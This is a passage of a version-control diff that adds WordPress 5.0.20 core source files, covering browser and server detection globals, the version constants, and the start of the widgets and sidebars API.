+ * Creates common globals for the rest of WordPress
+ *
+ * Sets $pagenow global which is the current page. Checks
+ * for the browser to set which one is currently being used.
+ *
+ * Detects which user environment WordPress is being used on.
+ * Only attempts to check for Apache, Nginx and IIS -- three web
+ * servers with known pretty permalink capability.
+ *
+ * Note: Though Nginx is detected, WordPress does not currently
+ * generate rewrite rules for it. See https://codex.wordpress.org/Nginx
+ *
+ * @package WordPress
+ */
+
+global $pagenow,
+	$is_lynx, $is_gecko, $is_winIE, $is_macIE, $is_opera, $is_NS4, $is_safari, $is_chrome, $is_iphone, $is_IE, $is_edge,
+	$is_apache, $is_IIS, $is_iis7, $is_nginx;
+
+// On which page are we ?
+if ( is_admin() ) {
+	// wp-admin pages are checked more carefully
+	if ( is_network_admin() )
+		preg_match('#/wp-admin/network/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches);
+	elseif ( is_user_admin() )
+		preg_match('#/wp-admin/user/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches);
+	else
+		preg_match('#/wp-admin/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches);
+	$pagenow = $self_matches[1];
+	$pagenow = trim($pagenow, '/');
+	$pagenow = preg_replace('#\?.*?$#', '', $pagenow);
+	if ( '' === $pagenow || 'index' === $pagenow || 'index.php' === $pagenow ) {
+		$pagenow = 'index.php';
+	} else {
+		preg_match('#(.*?)(/|$)#', $pagenow, $self_matches);
+		$pagenow = strtolower($self_matches[1]);
+		if ( '.php' !== substr($pagenow, -4, 4) )
+			$pagenow .= '.php'; // for Options +Multiviews: /wp-admin/themes/index.php (themes.php is queried)
+	}
+} else {
+	if ( preg_match('#([^/]+\.php)([?/].*?)?$#i', $_SERVER['PHP_SELF'], $self_matches) )
+		$pagenow = strtolower($self_matches[1]);
+	else
+		$pagenow = 'index.php';
+}
+unset($self_matches);
+
+// Simple browser detection
+$is_lynx = $is_gecko = $is_winIE = $is_macIE = $is_opera = $is_NS4 = $is_safari = $is_chrome = $is_iphone = $is_edge = false;
+
+if ( isset($_SERVER['HTTP_USER_AGENT']) ) {
+	if ( strpos($_SERVER['HTTP_USER_AGENT'], 'Lynx') !== false ) {
+		$is_lynx = true;
+	} elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Edge' ) !== false ) {
+		$is_edge = true;
+	} elseif ( stripos($_SERVER['HTTP_USER_AGENT'], 'chrome') !== false ) {
+		if ( stripos( $_SERVER['HTTP_USER_AGENT'], 'chromeframe' ) !== false ) {
+			$is_admin = is_admin();
+			/**
+			 * Filters whether Google Chrome Frame should be used, if available.
+			 *
+			 * @since 3.2.0
+			 *
+			 * @param bool $is_admin Whether to use the Google Chrome Frame. Default is the value of is_admin().
+			 */
+			if ( $is_chrome = apply_filters( 'use_google_chrome_frame', $is_admin ) )
+				header( 'X-UA-Compatible: chrome=1' );
+			$is_winIE = ! $is_chrome;
+		} else {
+			$is_chrome = true;
+		}
+	} elseif ( stripos($_SERVER['HTTP_USER_AGENT'], 'safari') !== false ) {
+		$is_safari = true;
+	} elseif ( ( strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false || strpos($_SERVER['HTTP_USER_AGENT'], 'Trident') !== false ) && strpos($_SERVER['HTTP_USER_AGENT'], 'Win') !== false ) {
+		$is_winIE = true;
+	} elseif ( strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false && strpos($_SERVER['HTTP_USER_AGENT'], 'Mac') !== false ) {
+		$is_macIE = true;
+	} elseif ( strpos($_SERVER['HTTP_USER_AGENT'], 'Gecko') !== false ) {
+		$is_gecko = true;
+	} elseif ( strpos($_SERVER['HTTP_USER_AGENT'], 'Opera') !== false ) {
+		$is_opera = true;
+	} elseif ( strpos($_SERVER['HTTP_USER_AGENT'], 'Nav') !== false && strpos($_SERVER['HTTP_USER_AGENT'], 'Mozilla/4.') !== false ) {
+		$is_NS4 = true;
+	}
+}
+
+if ( $is_safari && stripos($_SERVER['HTTP_USER_AGENT'], 'mobile') !== false )
+	$is_iphone = true;
+
+$is_IE = ( $is_macIE || $is_winIE );
+
+// Server detection
+
+/**
+ * Whether the server software is Apache or something else
+ * @global bool $is_apache
+ */
+$is_apache = (strpos($_SERVER['SERVER_SOFTWARE'], 'Apache') !== false || strpos($_SERVER['SERVER_SOFTWARE'], 'LiteSpeed') !== false);
+
+/**
+ * Whether the server software is Nginx or something else
+ * @global bool $is_nginx
+ */
+$is_nginx = (strpos($_SERVER['SERVER_SOFTWARE'], 'nginx') !== false);
+
+/**
+ * Whether the server software is IIS or something else
+ * @global bool $is_IIS
+ */
+$is_IIS = !$is_apache && (strpos($_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS') !== false || strpos($_SERVER['SERVER_SOFTWARE'], 'ExpressionDevServer') !== false);
+
+/**
+ * Whether the server software is IIS 7.X or greater
+ * @global bool $is_iis7
+ */
+$is_iis7 = $is_IIS && intval( substr( $_SERVER['SERVER_SOFTWARE'], strpos( $_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS/' ) + 14 ) ) >= 7;
+
+/**
+ * Test if the current browser runs on a mobile device (smart phone, tablet, etc.)
+ *
+ * @since 3.4.0
+ * 
+ * @return bool
+ */
+function wp_is_mobile() {
+	if ( empty($_SERVER['HTTP_USER_AGENT']) ) {
+		$is_mobile = false;
+	} elseif ( strpos($_SERVER['HTTP_USER_AGENT'], 'Mobile') !== false // many mobile devices (all iPhone, iPad, etc.)
+		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Android') !== false
+		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Silk/') !== false
+		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Kindle') !== false
+		|| strpos($_SERVER['HTTP_USER_AGENT'], 'BlackBerry') !== false
+		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Opera Mini') !== false
+		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Opera Mobi') !== false ) {
+			$is_mobile = true;
+	} else {
+		$is_mobile = false;
+	}
+
+	/**
+	 * Filters whether the request should be treated as coming from a mobile device or not.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param bool $is_mobile Whether the request is from a mobile device or not.
+	 */
+	return apply_filters( 'wp_is_mobile', $is_mobile );
+}
Index: /tags/5.0.20/src/wp-includes/version.php
===================================================================
--- /tags/5.0.20/src/wp-includes/version.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/version.php	(revision 56912)
@@ -0,0 +1,35 @@
+<?php
+/**
+ * The WordPress version string
+ *
+ * @global string $wp_version
+ */
+$wp_version = '5.0.20-src';
+
+/**
+ * Holds the WordPress DB revision, increments when changes are made to the WordPress DB schema.
+ *
+ * @global int $wp_db_version
+ */
+$wp_db_version = 43764;
+
+/**
+ * Holds the TinyMCE version
+ *
+ * @global string $tinymce_version
+ */
+$tinymce_version = '4800-20180716';
+
+/**
+ * Holds the required PHP version
+ *
+ * @global string $required_php_version
+ */
+$required_php_version = '5.2.4';
+
+/**
+ * Holds the required MySQL version
+ *
+ * @global string $required_mysql_version
+ */
+$required_mysql_version = '5.0';
Index: /tags/5.0.20/src/wp-includes/widgets.php
===================================================================
--- /tags/5.0.20/src/wp-includes/widgets.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/widgets.php	(revision 56912)
@@ -0,0 +1,1662 @@
+<?php
+/**
+ * Core Widgets API
+ *
+ * This API is used for creating dynamic sidebar without hardcoding functionality into
+ * themes
+ *
+ * Includes both internal WordPress routines and theme-use routines.
+ *
+ * This functionality was found in a plugin before the WordPress 2.2 release, which
+ * included it in the core from that point on.
+ *
+ * @link https://codex.wordpress.org/Plugins/WordPress_Widgets WordPress Widgets
+ * @link https://codex.wordpress.org/Plugins/WordPress_Widgets_Api Widgets API
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 2.2.0
+ */
+
+//
+// Global Variables
+//
+
+/** @ignore */
+global $wp_registered_sidebars, $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_widget_updates;
+
+/**
+ * Stores the sidebars, since many themes can have more than one.
+ *
+ * @global array $wp_registered_sidebars
+ * @since 2.2.0
+ */
+$wp_registered_sidebars = array();
+
+/**
+ * Stores the registered widgets.
+ *
+ * @global array $wp_registered_widgets
+ * @since 2.2.0
+ */
+$wp_registered_widgets = array();
+
+/**
+ * Stores the registered widget control (options).
+ *
+ * @global array $wp_registered_widget_controls
+ * @since 2.2.0
+ */
+$wp_registered_widget_controls = array();
+/**
+ * @global array $wp_registered_widget_updates
+ */
+$wp_registered_widget_updates = array();
+
+/**
+ * Private
+ *
+ * @global array $_wp_sidebars_widgets
+ */
+$_wp_sidebars_widgets = array();
+
+/**
+ * Private
+ *
+ * @global array $_wp_deprecated_widgets_callbacks
+ */
+$GLOBALS['_wp_deprecated_widgets_callbacks'] = array(
+	'wp_widget_pages',
+	'wp_widget_pages_control',
+	'wp_widget_calendar',
+	'wp_widget_calendar_control',
+	'wp_widget_archives',
+	'wp_widget_archives_control',
+	'wp_widget_links',
+	'wp_widget_meta',
+	'wp_widget_meta_control',
+	'wp_widget_search',
+	'wp_widget_recent_entries',
+	'wp_widget_recent_entries_control',
+	'wp_widget_tag_cloud',
+	'wp_widget_tag_cloud_control',
+	'wp_widget_categories',
+	'wp_widget_categories_control',
+	'wp_widget_text',
+	'wp_widget_text_control',
+	'wp_widget_rss',
+	'wp_widget_rss_control',
+	'wp_widget_recent_comments',
+	'wp_widget_recent_comments_control'
+);
+
+//
+// Template tags & API functions
+//
+
+/**
+ * Register a widget
+ *
+ * Registers a WP_Widget widget
+ *
+ * @since 2.8.0
+ * @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object
+ *              instead of simply a `WP_Widget` subclass name.
+ *
+ * @see WP_Widget
+ *
+ * @global WP_Widget_Factory $wp_widget_factory
+ *
+ * @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass.
+ */
+function register_widget( $widget ) {
+	global $wp_widget_factory;
+
+	$wp_widget_factory->register( $widget );
+}
+
+/**
+ * Unregisters a widget.
+ *
+ * Unregisters a WP_Widget widget. Useful for un-registering default widgets.
+ * Run within a function hooked to the {@see 'widgets_init'} action.
+ *
+ * @since 2.8.0
+ * @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object
+ *              instead of simply a `WP_Widget` subclass name.
+ *
+ * @see WP_Widget
+ *
+ * @global WP_Widget_Factory $wp_widget_factory
+ *
+ * @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass.
+ */
+function unregister_widget( $widget ) {
+	global $wp_widget_factory;
+
+	$wp_widget_factory->unregister( $widget );
+}
+
+/**
+ * Creates multiple sidebars.
+ *
+ * If you wanted to quickly create multiple sidebars for a theme or internally.
+ * This function will allow you to do so. If you don't pass the 'name' and/or
+ * 'id' in `$args`, then they will be built for you.
+ *
+ * @since 2.2.0
+ *
+ * @see register_sidebar() The second parameter is documented by register_sidebar() and is the same here.
+ *
+ * @global array $wp_registered_sidebars
+ *
+ * @param int          $number Optional. Number of sidebars to create. Default 1.
+ * @param array|string $args {
+ *     Optional. Array or string of arguments for building a sidebar.
+ *
+ *     @type string $id   The base string of the unique identifier for each sidebar. If provided, and multiple
+ *                        sidebars are being defined, the id will have "-2" appended, and so on.
+ *                        Default 'sidebar-' followed by the number the sidebar creation is currently at.
+ *     @type string $name The name or title for the sidebars displayed in the admin dashboard. If registering
+ *                        more than one sidebar, include '%d' in the string as a placeholder for the uniquely
+ *                        assigned number for each sidebar.
+ *                        Default 'Sidebar' for the first sidebar, otherwise 'Sidebar %d'.
+ * }
+ */
+function register_sidebars( $number = 1, $args = array() ) {
+	global $wp_registered_sidebars;
+	$number = (int) $number;
+
+	if ( is_string($args) )
+		parse_str($args, $args);
+
+	for ( $i = 1; $i <= $number; $i++ ) {
+		$_args = $args;
+
+		if ( $number > 1 )
+			$_args['name'] = isset($args['name']) ? sprintf($args['name'], $i) : sprintf(__('Sidebar %d'), $i);
+		else
+			$_args['name'] = isset($args['name']) ? $args['name'] : __('Sidebar');
+
+		// Custom specified ID's are suffixed if they exist already.
+		// Automatically generated sidebar names need to be suffixed regardless starting at -0
+		if ( isset($args['id']) ) {
+			$_args['id'] = $args['id'];
+			$n = 2; // Start at -2 for conflicting custom ID's
+			while ( is_registered_sidebar( $_args['id'] ) ) {
+				$_args['id'] = $args['id'] . '-' . $n++;
+			}
+		} else {
+			$n = count( $wp_registered_sidebars );
+			do {
+				$_args['id'] = 'sidebar-' . ++$n;
+			} while ( is_registered_sidebar( $_args['id'] ) );
+		}
+		register_sidebar($_args);
+	}
+}
+
+/**
+ * Builds the definition for a single sidebar and returns the ID.
+ *
+ * Accepts either a string or an array and then parses that against a set
+ * of default arguments for the new sidebar. WordPress will automatically
+ * generate a sidebar ID and name based on the current number of registered
+ * sidebars if those arguments are not included.
+ *
+ * When allowing for automatic generation of the name and ID parameters, keep
+ * in mind that the incrementor for your sidebar can change over time depending
+ * on what other plugins and themes are installed.
+ *
+ * If theme support for 'widgets' has not yet been added when this function is
+ * called, it will be automatically enabled through the use of add_theme_support()
+ *
+ * @since 2.2.0
+ *
+ * @global array $wp_registered_sidebars Stores the new sidebar in this array by sidebar ID.
+ *
+ * @param array|string $args {
+ *     Optional. Array or string of arguments for the sidebar being registered.
+ *
+ *     @type string $name          The name or title of the sidebar displayed in the Widgets
+ *                                 interface. Default 'Sidebar $instance'.
+ *     @type string $id            The unique identifier by which the sidebar will be called.
+ *                                 Default 'sidebar-$instance'.
+ *     @type string $description   Description of the sidebar, displayed in the Widgets interface.
+ *                                 Default empty string.
+ *     @type string $class         Extra CSS class to assign to the sidebar in the Widgets interface.
+ *                                 Default empty.
+ *     @type string $before_widget HTML content to prepend to each widget's HTML output when
+ *                                 assigned to this sidebar. Default is an opening list item element.
+ *     @type string $after_widget  HTML content to append to each widget's HTML output when
+ *                                 assigned to this sidebar. Default is a closing list item element.
+ *     @type string $before_title  HTML content to prepend to the sidebar title when displayed.
+ *                                 Default is an opening h2 element.
+ *     @type string $after_title   HTML content to append to the sidebar title when displayed.
+ *                                 Default is a closing h2 element.
+ * }
+ * @return string Sidebar ID added to $wp_registered_sidebars global.
+ */
+function register_sidebar($args = array()) {
+	global $wp_registered_sidebars;
+
+	$i = count($wp_registered_sidebars) + 1;
+
+	$id_is_empty = empty( $args['id'] );
+
+	$defaults = array(
+		'name' => sprintf(__('Sidebar %d'), $i ),
+		'id' => "sidebar-$i",
+		'description' => '',
+		'class' => '',
+		'before_widget' => '<li id="%1$s" class="widget %2$s">',
+		'after_widget' => "</li>\n",
+		'before_title' => '<h2 class="widgettitle">',
+		'after_title' => "</h2>\n",
+	);
+
+	$sidebar = wp_parse_args( $args, $defaults );
+
+	if ( $id_is_empty ) {
+		/* translators: 1: the id argument, 2: sidebar name, 3: recommended id value */
+		_doing_it_wrong( __FUNCTION__, sprintf( __( 'No %1$s was set in the arguments array for the "%2$s" sidebar. Defaulting to "%3$s". Manually set the %1$s to "%3$s" to silence this notice and keep existing sidebar content.' ), '<code>id</code>', $sidebar['name'], $sidebar['id'] ), '4.2.0' );
+	}
+
+	$wp_registered_sidebars[$sidebar['id']] = $sidebar;
+
+	add_theme_support('widgets');
+
+	/**
+	 * Fires once a sidebar has been registered.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $sidebar Parsed arguments for the registered sidebar.
+	 */
+	do_action( 'register_sidebar', $sidebar );
+
+	return $sidebar['id'];
+}
+
+/**
+ * Removes a sidebar from the list.
+ *
+ * @since 2.2.0
+ *
+ * @global array $wp_registered_sidebars Stores the new sidebar in this array by sidebar ID.
+ *
+ * @param string|int $sidebar_id The ID of the sidebar when it was registered.
+ */
+function unregister_sidebar( $sidebar_id ) {
+	global $wp_registered_sidebars;
+
+	unset( $wp_registered_sidebars[ $sidebar_id ] );
+}
+
+/**
+ * Checks if a sidebar is registered.
+ *
+ * @since 4.4.0
+ *
+ * @global array $wp_registered_sidebars Registered sidebars.
+ *
+ * @param string|int $sidebar_id The ID of the sidebar when it was registered.
+ * @return bool True if the sidebar is registered, false otherwise.
+ */
+function is_registered_sidebar( $sidebar_id ) {
+	global $wp_registered_sidebars;
+
+	return isset( $wp_registered_sidebars[ $sidebar_id ] );
+}
+
+/**
+ * Register an instance of a widget.
+ *
+ * The default widget option is 'classname' that can be overridden.
+ *
+ * The function can also be used to un-register widgets when `$output_callback`
+ * parameter is an empty string.
+ *
+ * @since 2.2.0
+ *
+ * @global array $wp_registered_widgets            Uses stored registered widgets.
+ * @global array $wp_registered_widget_controls    Stores the registered widget controls (options).
+ * @global array $wp_registered_widget_updates
+ * @global array $_wp_deprecated_widgets_callbacks
+ *
+ * @param int|string $id              Widget ID.
+ * @param string     $name            Widget display title.
+ * @param callable   $output_callback Run when widget is called.
+ * @param array      $options {
+ *     Optional. An array of supplementary widget options for the instance.
+ *
+ *     @type string $classname   Class name for the widget's HTML container. Default is a shortened
+ *                               version of the output callback name.
+ *     @type string $description Widget description for display in the widget administration
+ *                               panel and/or theme.
+ * }
+ */
+function wp_register_sidebar_widget( $id, $name, $output_callback, $options = array() ) {
+	global $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_widget_updates, $_wp_deprecated_widgets_callbacks;
+
+	$id = strtolower($id);
+
+	if ( empty($output_callback) ) {
+		unset($wp_registered_widgets[$id]);
+		return;
+	}
+
+	$id_base = _get_widget_id_base($id);
+	if ( in_array($output_callback, $_wp_deprecated_widgets_callbacks, true) && !is_callable($output_callback) ) {
+		unset( $wp_registered_widget_controls[ $id ] );
+		unset( $wp_registered_widget_updates[ $id_base ] );
+		return;
+	}
+
+	$defaults = array('classname' => $output_callback);
+	$options = wp_parse_args($options, $defaults);
+	$widget = array(
+		'name' => $name,
+		'id' => $id,
+		'callback' => $output_callback,
+		'params' => array_slice(func_get_args(), 4)
+	);
+	$widget = array_merge($widget, $options);
+
+	if ( is_callable($output_callback) && ( !isset($wp_registered_widgets[$id]) || did_action( 'widgets_init' ) ) ) {
+
+		/**
+		 * Fires once for each registered widget.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param array $widget An array of default widget arguments.
+		 */
+		do_action( 'wp_register_sidebar_widget', $widget );
+		$wp_registered_widgets[$id] = $widget;
+	}
+}
+
+/**
+ * Retrieve description for widget.
+ *
+ * When registering widgets, the options can also include 'description' that
+ * describes the widget for display on the widget administration panel or
+ * in the theme.
+ *
+ * @since 2.5.0
+ *
+ * @global array $wp_registered_widgets
+ *
+ * @param int|string $id Widget ID.
+ * @return string|void Widget description, if available.
+ */
+function wp_widget_description( $id ) {
+	if ( !is_scalar($id) )
+		return;
+
+	global $wp_registered_widgets;
+
+	if ( isset($wp_registered_widgets[$id]['description']) )
+		return esc_html( $wp_registered_widgets[$id]['description'] );
+}
+
+/**
+ * Retrieve description for a sidebar.
+ *
+ * When registering sidebars a 'description' parameter can be included that
+ * describes the sidebar for display on the widget administration panel.
+ *
+ * @since 2.9.0
+ *
+ * @global array $wp_registered_sidebars
+ *
+ * @param string $id sidebar ID.
+ * @return string|void Sidebar description, if available.
+ */
+function wp_sidebar_description( $id ) {
+	if ( !is_scalar($id) )
+		return;
+
+	global $wp_registered_sidebars;
+
+	if ( isset( $wp_registered_sidebars[ $id ]['description'] ) ) {
+		return wp_kses( $wp_registered_sidebars[ $id ]['description'], 'sidebar_description' );
+	}
+}
+
+/**
+ * Remove widget from sidebar.
+ *
+ * @since 2.2.0
+ *
+ * @param int|string $id Widget ID.
+ */
+function wp_unregister_sidebar_widget($id) {
+
+	/**
+	 * Fires just before a widget is removed from a sidebar.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param int $id The widget ID.
+	 */
+	do_action( 'wp_unregister_sidebar_widget', $id );
+
+	wp_register_sidebar_widget($id, '', '');
+	wp_unregister_widget_control($id);
+}
+
+/**
+ * Registers widget control callback for customizing options.
+ *
+ * @since 2.2.0
+ *
+ * @todo `$params` parameter?
+ *
+ * @global array $wp_registered_widget_controls
+ * @global array $wp_registered_widget_updates
+ * @global array $wp_registered_widgets
+ * @global array $_wp_deprecated_widgets_callbacks
+ *
+ * @param int|string   $id               Sidebar ID.
+ * @param string       $name             Sidebar display name.
+ * @param callable     $control_callback Run when sidebar is displayed.
+ * @param array $options {
+ *     Optional. Array or string of control options. Default empty array.
+ *
+ *     @type int        $height  Never used. Default 200.
+ *     @type int        $width   Width of the fully expanded control form (but try hard to use the default width).
+ *                               Default 250.
+ *     @type int|string $id_base Required for multi-widgets, i.e widgets that allow multiple instances such as the
+ *                               text widget. The widget id will end up looking like `{$id_base}-{$unique_number}`.
+ * }
+ */
+function wp_register_widget_control( $id, $name, $control_callback, $options = array() ) {
+	global $wp_registered_widget_controls, $wp_registered_widget_updates, $wp_registered_widgets, $_wp_deprecated_widgets_callbacks;
+
+	$id = strtolower($id);
+	$id_base = _get_widget_id_base($id);
+
+	if ( empty($control_callback) ) {
+		unset($wp_registered_widget_controls[$id]);
+		unset($wp_registered_widget_updates[$id_base]);
+		return;
+	}
+
+	if ( in_array($control_callback, $_wp_deprecated_widgets_callbacks, true) && !is_callable($control_callback) ) {
+		unset( $wp_registered_widgets[ $id ] );
+		return;
+	}
+
+	if ( isset($wp_registered_widget_controls[$id]) && !did_action( 'widgets_init' ) )
+		return;
+
+	$defaults = array('width' => 250, 'height' => 200 ); // height is never used
+	$options = wp_parse_args($options, $defaults);
+	$options['width'] = (int) $options['width'];
+	$options['height'] = (int) $options['height'];
+
+	$widget = array(
+		'name' => $name,
+		'id' => $id,
+		'callback' => $control_callback,
+		'params' => array_slice(func_get_args(), 4)
+	);
+	$widget = array_merge($widget, $options);
+
+	$wp_registered_widget_controls[$id] = $widget;
+
+	if ( isset($wp_registered_widget_updates[$id_base]) )
+		return;
+
+	if ( isset($widget['params'][0]['number']) )
+		$widget['params'][0]['number'] = -1;
+
+	unset($widget['width'], $widget['height'], $widget['name'], $widget['id']);
+	$wp_registered_widget_updates[$id_base] = $widget;
+}
+
+/**
+ * Registers the update callback for a widget.
+ *
+ * @since 2.8.0
+ *
+ * @global array $wp_registered_widget_updates
+ *
+ * @param string   $id_base         The base ID of a widget created by extending WP_Widget.
+ * @param callable $update_callback Update callback method for the widget.
+ * @param array    $options         Optional. Widget control options. See wp_register_widget_control().
+ *                                  Default empty array.
+ */
+function _register_widget_update_callback( $id_base, $update_callback, $options = array() ) {
+	global $wp_registered_widget_updates;
+
+	if ( isset($wp_registered_widget_updates[$id_base]) ) {
+		if ( empty($update_callback) )
+			unset($wp_registered_widget_updates[$id_base]);
+		return;
+	}
+
+	$widget = array(
+		'callback' => $update_callback,
+		'params' => array_slice(func_get_args(), 3)
+	);
+
+	$widget = array_merge($widget, $options);
+	$wp_registered_widget_updates[$id_base] = $widget;
+}
+
+/**
+ * Registers the form callback for a widget.
+ *
+ * @since 2.8.0
+ *
+ * @global array $wp_registered_widget_controls
+ *
+ * @param int|string $id            Widget ID.
+ * @param string     $name          Name attribute for the widget.
+ * @param callable   $form_callback Form callback.
+ * @param array      $options       Optional. Widget control options. See wp_register_widget_control().
+ *                                  Default empty array.
+ */
+function _register_widget_form_callback($id, $name, $form_callback, $options = array()) {
+	global $wp_registered_widget_controls;
+
+	$id = strtolower($id);
+
+	if ( empty($form_callback) ) {
+		unset($wp_registered_widget_controls[$id]);
+		return;
+	}
+
+	if ( isset($wp_registered_widget_controls[$id]) && !did_action( 'widgets_init' ) )
+		return;
+
+	$defaults = array('width' => 250, 'height' => 200 );
+	$options = wp_parse_args($options, $defaults);
+	$options['width'] = (int) $options['width'];
+	$options['height'] = (int) $options['height'];
+
+	$widget = array(
+		'name' => $name,
+		'id' => $id,
+		'callback' => $form_callback,
+		'params' => array_slice(func_get_args(), 4)
+	);
+	$widget = array_merge($widget, $options);
+
+	$wp_registered_widget_controls[$id] = $widget;
+}
+
+/**
+ * Remove control callback for widget.
+ *
+ * @since 2.2.0
+ *
+ * @param int|string $id Widget ID.
+ */
+function wp_unregister_widget_control($id) {
+	wp_register_widget_control( $id, '', '' );
+}
+
+/**
+ * Display dynamic sidebar.
+ *
+ * By default this displays the default sidebar or 'sidebar-1'. If your theme specifies the 'id' or
+ * 'name' parameter for its registered sidebars you can pass an id or name as the $index parameter.
+ * Otherwise, you can pass in a numerical index to display the sidebar at that index.
+ *
+ * @since 2.2.0
+ *
+ * @global array $wp_registered_sidebars
+ * @global array $wp_registered_widgets
+ *
+ * @param int|string $index Optional, default is 1. Index, name or ID of dynamic sidebar.
+ * @return bool True, if widget sidebar was found and called. False if not found or not called.
+ */
+function dynamic_sidebar( $index = 1 ) {
+	global $wp_registered_sidebars, $wp_registered_widgets;
+
+	if ( is_int( $index ) ) {
+		$index = "sidebar-$index";
+	} else {
+		$index = sanitize_title( $index );
+		foreach ( (array) $wp_registered_sidebars as $key => $value ) {
+			if ( sanitize_title( $value['name'] ) == $index ) {
+				$index = $key;
+				break;
+			}
+		}
+	}
+
+	$sidebars_widgets = wp_get_sidebars_widgets();
+	if ( empty( $wp_registered_sidebars[ $index ] ) || empty( $sidebars_widgets[ $index ] ) || ! is_array( $sidebars_widgets[ $index ] ) ) {
+		/** This action is documented in wp-includes/widget.php */
+		do_action( 'dynamic_sidebar_before', $index, false );
+		/** This action is documented in wp-includes/widget.php */
+		do_action( 'dynamic_sidebar_after',  $index, false );
+		/** This filter is documented in wp-includes/widget.php */
+		return apply_filters( 'dynamic_sidebar_has_widgets', false, $index );
+	}
+
+	/**
+	 * Fires before widgets are rendered in a dynamic sidebar.
+	 *
+	 * Note: The action also fires for empty sidebars, and on both the front end
+	 * and back end, including the Inactive Widgets sidebar on the Widgets screen.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param int|string $index       Index, name, or ID of the dynamic sidebar.
+	 * @param bool       $has_widgets Whether the sidebar is populated with widgets.
+	 *                                Default true.
+	 */
+	do_action( 'dynamic_sidebar_before', $index, true );
+	$sidebar = $wp_registered_sidebars[$index];
+
+	$did_one = false;
+	foreach ( (array) $sidebars_widgets[$index] as $id ) {
+
+		if ( !isset($wp_registered_widgets[$id]) ) continue;
+
+		$params = array_merge(
+			array( array_merge( $sidebar, array('widget_id' => $id, 'widget_name' => $wp_registered_widgets[$id]['name']) ) ),
+			(array) $wp_registered_widgets[$id]['params']
+		);
+
+		// Substitute HTML id and class attributes into before_widget
+		$classname_ = '';
+		foreach ( (array) $wp_registered_widgets[$id]['classname'] as $cn ) {
+			if ( is_string($cn) )
+				$classname_ .= '_' . $cn;
+			elseif ( is_object($cn) )
+				$classname_ .= '_' . get_class($cn);
+		}
+		$classname_ = ltrim($classname_, '_');
+		$params[0]['before_widget'] = sprintf($params[0]['before_widget'], $id, $classname_);
+
+		/**
+		 * Filters the parameters passed to a widget's display callback.
+		 *
+		 * Note: The filter is evaluated on both the front end and back end,
+		 * including for the Inactive Widgets sidebar on the Widgets screen.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @see register_sidebar()
+		 *
+		 * @param array $params {
+		 *     @type array $args  {
+		 *         An array of widget display arguments.
+		 *
+		 *         @type string $name          Name of the sidebar the widget is assigned to.
+		 *         @type string $id            ID of the sidebar the widget is assigned to.
+		 *         @type string $description   The sidebar description.
+		 *         @type string $class         CSS class applied to the sidebar container.
+		 *         @type string $before_widget HTML markup to prepend to each widget in the sidebar.
+		 *         @type string $after_widget  HTML markup to append to each widget in the sidebar.
+		 *         @type string $before_title  HTML markup to prepend to the widget title when displayed.
+		 *         @type string $after_title   HTML markup to append to the widget title when displayed.
+		 *         @type string $widget_id     ID of the widget.
+		 *         @type string $widget_name   Name of the widget.
+		 *     }
+		 *     @type array $widget_args {
+		 *         An array of multi-widget arguments.
+		 *
+		 *         @type int $number Number increment used for multiples of the same widget.
+		 *     }
+		 * }
+		 */
+		$params = apply_filters( 'dynamic_sidebar_params', $params );
+
+		$callback = $wp_registered_widgets[$id]['callback'];
+
+		/**
+		 * Fires before a widget's display callback is called.
+		 *
+		 * Note: The action fires on both the front end and back end, including
+		 * for widgets in the Inactive Widgets sidebar on the Widgets screen.
+		 *
+		 * The action is not fired for empty sidebars.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param array $widget_id {
+		 *     An associative array of widget arguments.
+		 *
+		 *     @type string $name                Name of the widget.
+		 *     @type string $id                  Widget ID.
+		 *     @type array|callable $callback    When the hook is fired on the front end, $callback is an array
+		 *                                       containing the widget object. Fired on the back end, $callback
+		 *                                       is 'wp_widget_control', see $_callback.
+		 *     @type array          $params      An associative array of multi-widget arguments.
+		 *     @type string         $classname   CSS class applied to the widget container.
+		 *     @type string         $description The widget description.
+		 *     @type array          $_callback   When the hook is fired on the back end, $_callback is populated
+		 *                                       with an array containing the widget object, see $callback.
+		 * }
+		 */
+		do_action( 'dynamic_sidebar', $wp_registered_widgets[ $id ] );
+
+		if ( is_callable($callback) ) {
+			call_user_func_array($callback, $params);
+			$did_one = true;
+		}
+	}
+
+	/**
+	 * Fires after widgets are rendered in a dynamic sidebar.
+	 *
+	 * Note: The action also fires for empty sidebars, and on both the front end
+	 * and back end, including the Inactive Widgets sidebar on the Widgets screen.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param int|string $index       Index, name, or ID of the dynamic sidebar.
+	 * @param bool       $has_widgets Whether the sidebar is populated with widgets.
+	 *                                Default true.
+	 */
+	do_action( 'dynamic_sidebar_after', $index, true );
+
+	/**
+	 * Filters whether a sidebar has widgets.
+	 *
+	 * Note: The filter is also evaluated for empty sidebars, and on both the front end
+	 * and back end, including the Inactive Widgets sidebar on the Widgets screen.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param bool       $did_one Whether at least one widget was rendered in the sidebar.
+	 *                            Default false.
